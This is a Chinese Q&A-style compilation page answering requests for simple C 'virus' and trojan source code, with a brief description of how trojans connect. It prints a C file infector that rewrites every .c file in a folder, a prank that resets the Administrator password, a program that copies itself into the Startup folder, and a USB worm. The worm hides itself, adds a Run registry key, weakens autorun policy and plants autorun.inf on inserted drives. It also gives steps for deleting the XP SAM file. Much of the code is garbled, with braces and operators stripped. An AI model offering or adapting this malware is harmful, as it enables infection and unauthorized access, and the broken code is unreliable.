本文目录一览:
求一个简单的c语言病毒源代码,最好还可以在手机c4上编写运行的,运行会出现什么样的情况,想学c想了解一
c写的病毒一定要调用比较复杂的API才会有一定的破坏力,c4droid那么简单的工具应该难以实现。
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
virus();
int virus()
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
goto next;
do{
if(i=50)
fclose(in);
goto next;
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
if(strstr(buf[j],main)!=NULL)
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
if(flag==0)
flag=1;
fputs("virus();\n",out);
fputs(buf[j],out);
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
fputs(buf[j],out);
j++;
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
p=fgets(buffer,80,read);
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
return 0;
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。
求C语言病毒源码
一个小东西 介绍了后别笑话我 !它的功能很简单,就是把Administrator的密码该成xiaobai
大家整了人之后切记告诉他密码(xiaobai)
自己可以用TC2.0编写编译调试生成
C语言下的代码如下:
main()
system("net user administrator xiaobai");
如果自己真的不小心忘记了密码 如果是XP系统 管理员密码破解如下:
1.用个启动盘启动电脑后进入DOS 状态下:输入如下命令
del X:\windows\sysrem32\config\sam 回车
copy x:\windows\repair\sam x:\windows\system32\config 回车
2.重新启动计算机。X为安装XP的盘 一般为c:
最简单的木马 源代码以及解释
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。
(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。
(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。
比较简单的C++病毒代码
最简单的病毒代码如下: #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!
system(cmd);
system("pause");
谁有C语言编写的病毒源代码?
一个c病毒源代码
#include windows.h
#include Shlwapi.h
#include fstream.h
#include TlHelp32.h
#include Dbt.h
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (wndclass))
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(msg, NULL, 0, 0))
TranslateMessage (msg);
DispatchMessage (msg);
return msg.wParam;
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
case DBT_DEVICEARRIVAL: //插入
if (lpdb - dbch_devicetype == DBT_DEVTYP_VOLUME)
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv -dbcv_unitmask);//得到u盘盘符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盘
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
break;
return LRESULT();
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
switch(message)
case WM_Create: //处理一些要下面要用到的全局变量
U[1]=':';
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息
else
CopyToSysAndSet(hwnd);//拷到系统盘并自启动
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
return DefWindowProc(hwnd, message, wParam, lParam);
TCHAR FirstDriveFromMask(ULONG unitmask)
char i;
for (i = 0; i 26; ++i)
if (unitmask 0x1)//看该驱动器的状态是否发生了变化
break;
unitmask = unitmask 1;
return (i + 'A');
BOOL GetSelfPath(TCHAR *path)
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
return TRUE;
else
return FALSE;
BOOL GetSysPath(TCHAR *path)
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd)
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
else
if(!FindSelf())//检测自己有没有运行
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);//结束自己
return FALSE;
BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
BOOL SetFileAttrib(TCHAR *path)
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
hkey)==ERROR_SUCCESS)
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
else
return FALSE;
BOOL CopyToUAndSet()
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录
TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);
if(!FileExist(szAutoFile))
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
if(!FileExist(szPath))
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
return FALSE;
BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
ofstream fout;
fout.open(path);
if(fout)
fout"[AutoRun]"endl;
fout"open="szExeName" e"endl;
fout"shellexecute="szExeName" e"endl;
fout"shell\\Auto\\command="szExeName" e"endl;
fout"shell=Auto"endl;
fout.close();
return TRUE;
return FALSE;
BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
CloseHandle(hShot);
return TRUE;
}while(Process32Next(hShot,pe));
CloseHandle(hShot);
return FALSE;